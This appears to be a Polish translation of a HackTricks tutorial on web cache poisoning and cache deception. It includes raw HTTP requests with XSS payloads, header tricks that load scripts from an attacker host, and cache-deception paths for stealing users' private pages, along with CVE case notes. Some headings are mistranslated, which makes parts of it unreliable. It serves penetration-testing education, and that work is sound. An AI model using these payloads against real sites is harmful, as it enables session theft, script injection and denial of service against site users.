hacktricks/pentesting-web/cache-deception.md

227 lines
20 KiB
Markdown
Raw Normal View History

# Zatrucie pamięci podręcznej i Oszustwo pamięci podręcznej
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-31 01:24:39 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane narzędzia społecznościowe na świecie**.\
2024-02-11 01:46:25 +00:00
Otrzymaj dostęp już dziś:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
## Różnica
> **Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?**
>
> * W **zatruciu pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewne złośliwe treści w pamięci podręcznej, a te treści są serwowane z pamięci podręcznej innym użytkownikom aplikacji.
> * W **oszustwie pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewne wrażliwe treści należące do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje te treści z pamięci podręcznej.
2024-02-11 01:46:25 +00:00
## Zatrucie pamięci podręcznej
Zatrucie pamięci podręcznej ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę podczas okresu zanieczyszczenia pamięci podręcznej.
2024-02-11 01:46:25 +00:00
Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków:
2024-02-06 03:10:38 +00:00
1. **Identyfikacja wejść bez klucza**: Są to parametry, które, chociaż nie są wymagane do przechowywania żądania w pamięci podręcznej, mogą zmienić odpowiedź zwróconą przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystane do manipulowania pamięcią podręczną.
2. **Wykorzystanie wejść bez klucza**: Po zidentyfikowaniu wejść bez klucza, następnym krokiem jest zrozumienie, jak wykorzystać te parametry do zmodyfikowania odpowiedzi serwera w sposób korzystny dla atakującego.
3. **Zapewnienie, że zatruta odpowiedź jest przechowywana w pamięci podręcznej**: Ostatnim krokiem jest zapewnienie, że zmodyfikowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zatrucia pamięci podręcznej otrzyma skażoną odpowiedź.
2024-02-06 03:10:38 +00:00
### Odkrywanie: Sprawdź nagłówki HTTP
Zazwyczaj, gdy odpowiedź została **przechowana w pamięci podręcznej**, będzie to **nagłówek wskazujący na to**, możesz sprawdzić, na które nagłówki powinieneś zwrócić uwagę w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
2022-08-12 16:57:56 +00:00
### Odkrywanie: Przechowywanie kodu 400
2022-08-12 16:57:56 +00:00
Jeśli podejrzewasz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z nieprawidłowym nagłówkiem**, na które powinno być odpowiedzią **kod stanu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod stanu 400**, wiesz, że jest podatne (i nawet możesz przeprowadzić atak typu DoS).\
Nieprawidłowo skonfigurowanym nagłówkiem może być po prostu `\:` jako nagłówek.\
_Zauważ, że czasami tego rodzaju kody stanu nie są przechowywane w pamięci podręcznej, więc ten test będzie bezużyteczny._
2022-08-12 16:57:56 +00:00
### Odkrywanie: Identyfikacja i ocena wejść bez klucza
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **siłowo testować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi, skąd ma załadować skrypt:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Wywołaj szkodliwą odpowiedź z serwera back-end
Po zidentyfikowaniu parametru/nagłówka sprawdź, w jaki sposób jest **oczyszczany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy można go nadużyć w jakiś sposób (wywołać XSS lub załadować kontrolowany przez ciebie kod JS? przeprowadzić atak DoS?...)
### Pobierz odpowiedź z pamięci podręcznej
Po **zidentyfikowaniu** **strony**, która może być nadużyta, którego **parametru/nagłówka** użyć i **jak** go **nadużyć**, musisz spowodować, aby strona została umieszczona w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możliwe, że będziesz musiał próbować przez kilka sekund.\
Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie było umieszczone w pamięci podręcznej, i wartość **`hit`**, gdy jest umieszczone w pamięci podręcznej.\
Nagłówek **`Cache-Control`** jest również interesujący, aby dowiedzieć się, czy zasób jest umieszczany w pamięci podręcznej i kiedy nastąpi ponowne umieszczenie zasobu w pamięci podręcznej: `Cache-Control: public, max-age=1800`\
Kolejny interesujący nagłówek to **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli zazwyczaj nie są kluczowane. Dlatego jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zatruć pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`.\
Jeszcze jeden nagłówek związany z pamięcią podręczną to **`Age`**. Określa on czas w sekundach, przez jaki obiekt znajduje się w pamięci podręcznej proxy.
Podczas umieszczania żądania w pamięci podręcznej, bądź **ostrożny z używanymi nagłówkami**, ponieważ niektóre z nich mogą być **niespodziewanie używane** jako **kluczowe**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zatruwanie pamięci podręcznej z **różnymi przeglądarkami**, aby sprawdzić, czy działa.
## Przykłady wykorzystania
2024-02-11 01:46:25 +00:00
### Najprostszy przykład
Nagłówek jak `X-Forwarded-For` jest odbijany w odpowiedzi w niesanitarny sposób.\
Możesz wysłać podstawowy ładunek XSS i zatruć pamięć podręczną, dzięki czemu każdy, kto uzyskuje dostęp do strony, zostanie poddany atakowi XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Należy pamiętać, że to zatruje żądanie do `/en?region=uk`, a nie do `/en`_
### Wykorzystanie zatrucia pamięci podręcznej sieci web do wykorzystania podatności związanych z obsługą plików cookie
Pliki cookie mogą również być odzwierciedlane w odpowiedzi strony. Jeśli można to wykorzystać, aby na przykład spowodować atak XSS, można wykorzystać atak XSS w kilku klientach, które wczytują złośliwą odpowiedź z pamięci podręcznej.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
### Zatrucie pamięci podręcznej z wykorzystaniem wędrówki ścieżką w celu kradzieży klucza API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ten opis**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) wyjaśnia, jak było możliwe skradnięcie klucza API OpenAI za pomocą adresu URL takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie przechowywane w pamięci podręcznej bez normalizacji adresu URL przez Cloudflare, co zostało zrobione, gdy żądanie dotarło do serwera internetowego.
### Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej w sieci <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Czasami będziesz musiał **wykorzystać kilka niezaindeksowanych wejść**, aby móc nadużyć pamięć podręczną. Na przykład, możesz znaleźć **otwarte przekierowanie**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez ciebie i `X-Forwarded-Scheme` na `http`. **Jeśli** serwer przekierowuje wszystkie **żądania HTTP** na HTTPS i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest kierowana przez przekierowanie.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Wykorzystywanie ograniczonego nagłówka `Vary`
Jeśli odkryjesz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**, musisz znaleźć sposób na wydostanie się z `User-Agent` ofiary i zatruć pamięć podręczną, używając tego agenta użytkownika:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Wykorzystywanie Zatrucia Pamięci Cache HTTP poprzez nadużycie Przesyłania Żądań HTTP
Dowiedz się tutaj, jak przeprowadzić [ataki Zatrucia Cache poprzez nadużycie Przesyłania Żądań HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automatyczne testowanie Zatrucia Pamięci Cache
2022-06-06 22:28:05 +00:00
Narzędzie [Skaner Podatności Pamięci Cache Sieciowej](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być użyte do automatycznego testowania zatrucia pamięci cache. Obsługuje wiele różnych technik i jest bardzo konfigurowalne.
2022-05-06 10:58:15 +00:00
2024-02-11 01:46:25 +00:00
Przykładowe użycie: `wcvs -u example.com`
2022-05-06 10:58:15 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Korzystaj z [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej **zaawansowanych** narzędzi społecznościowych na świecie.\
Zdobądź Dostęp Dziś:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Przykłady Podatności
2022-07-28 09:46:19 +00:00
### Serwer Ruchu Apache ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
2022-07-28 09:46:19 +00:00
ATS przekazywał fragment wewnątrz adresu URL bez usuwania go i generował klucz pamięci podręcznej tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Dlatego żądanie `/#/../?r=javascript:alert(1)` zostało przesłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku wewnątrz niego, tylko hosta, ścieżkę i zapytanie.
2022-07-28 09:46:19 +00:00
### GitHub CP-DoS
Wysłanie złej wartości w nagłówku content-type wywołało odpowiedź z kodem 405 z pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było atakowanie tylko nieuwierzytelnionych użytkowników.
2022-07-28 09:46:19 +00:00
### GitLab + GCP CP-DoS
GitLab używa kubełków GCP do przechowywania statycznych treści. **Kubełki GCP** obsługują nagłówek `x-http-method-override`. Dlatego było możliwe wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwróciła pusty ciało odpowiedzi. Mogło to również obsługiwać metodę `PURGE`.
2022-07-28 09:46:19 +00:00
### Oprogramowanie Pośredniczące Rack (Ruby on Rails)
2022-07-28 09:46:19 +00:00
W aplikacjach Ruby on Rails często wykorzystuje się oprogramowanie pośredniczące Rack. Kod Rack ma na celu pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy wysłany jest nagłówek `x-forwarded-scheme: http`, następuje przekierowanie 301 do tego samego miejsca, co potencjalnie może spowodować odmowę usługi (DoS) dla tego zasobu. Dodatkowo aplikacja może uwzględniać nagłówek `X-forwarded-host` i przekierowywać użytkowników pod wskazany host. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, stwarzając ryzyko bezpieczeństwa.
2022-07-28 09:46:19 +00:00
### 403 i Kubełki Przechowywania
2022-07-28 09:46:19 +00:00
Cloudflare wcześniej pamiętał odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która została zapisana w pamięci podręcznej. Chociaż Cloudflare zaprzestał pamiętania odpowiedzi 403, to zachowanie to może nadal występować w innych usługach proxy.
2022-07-28 09:46:19 +00:00
### Wstrzykiwanie Parametrów Kluczowych
2022-07-28 09:46:19 +00:00
Pamięci podręczne często zawierają określone parametry GET w kluczu pamięci podręcznej. Na przykład Varnish Fastly pamiętał parametr `size` w żądaniach. Jednakże, jeśli z kodowaniem URL został wysłany również parametr (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej był konstruowany przy użyciu poprawnego parametru `size`. Jednakże, backend przetwarzał wartość w parametrze zakodowanym URL. Kodowanie URL drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.
2022-07-28 09:46:19 +00:00
### Reguły Użytkownika Agent
2022-07-28 09:46:19 +00:00
Niektórzy programiści blokują żądania z agentami użytkownika pasującymi do tych z narzędzi o dużym ruchu, takich jak FFUF lub Nuclei, aby zarządzać obciążeniem serwera. Ironicznie, ten sposób może wprowadzić podatności, takie jak zatrucie pamięci cache i DoS.
2022-07-28 09:46:19 +00:00
### Nielegalne Pola Nagłówka
2022-07-28 09:46:19 +00:00
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wywoływać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Przykładem jest Akamai, który przekazuje nagłówki z nieprawidłowymi znakami i pamięta każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec podatny na eksploatację, gdzie wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało zapisaniem błędu 400 Bad Request w pamięci podręcznej.
2022-07-28 09:46:19 +00:00
### Znajdowanie nowych nagłówków
2022-07-28 09:46:19 +00:00
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Zatrucie Pamięci Cache
Celem Zatrucia Pamięci Cache jest sprawienie, aby klienci **ładowali zasoby, które zostaną zapisane w pamięci cache z ich wrażliwymi informacjami**.
Po pierwsze, zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **skonfigurowane** do **zapisywania** w **pamięci cache**. Dlatego jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Jednak jeśli **aplikacja** odtwarza **wrażliwe** treści użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.
2024-02-11 01:46:25 +00:00
Inne rzeczy do przetestowania:
2022-08-12 16:57:56 +00:00
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _Użyj mniej znanych rozszerzeń, takich jak_ `.avif`
Bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, np. _http://www.example.com/home.php/non-existent.css_, zawartość _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci cache zapisze wynik.\
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy mieli dostęp wcześniej.
Zauważ, że **serwer proxy pamięci cache** powinien być **skonfigurowany** do **przechowywania** plików **na podstawie** rozszerzenia pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało typ zawartości `text/html` zamiast oczekiwanego typu mime `text/css` (który jest oczekiwany dla pliku _.css_).
Dowiedz się tutaj, jak przeprowadzić [ataki Zatrucia Cache poprzez nadużycie Przesyłania Żądań HTTP](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Automatyczne Narzędzia
* [**toxicache**](https://github.com/xhzeem/toxicache): Skaner w języku Golang do znajdowania podatności na zatrucie pamięci cache sieciowej na liście adresów URL i testowanie wielu technik wstrzykiwania.
## Odnośniki
* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Korzystaj z [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej **zaawansowanych** narzędzi społecznościowych na świecie.\
Zdobądź Dostęp Dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
2024-02-11 01:46:25 +00:00
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>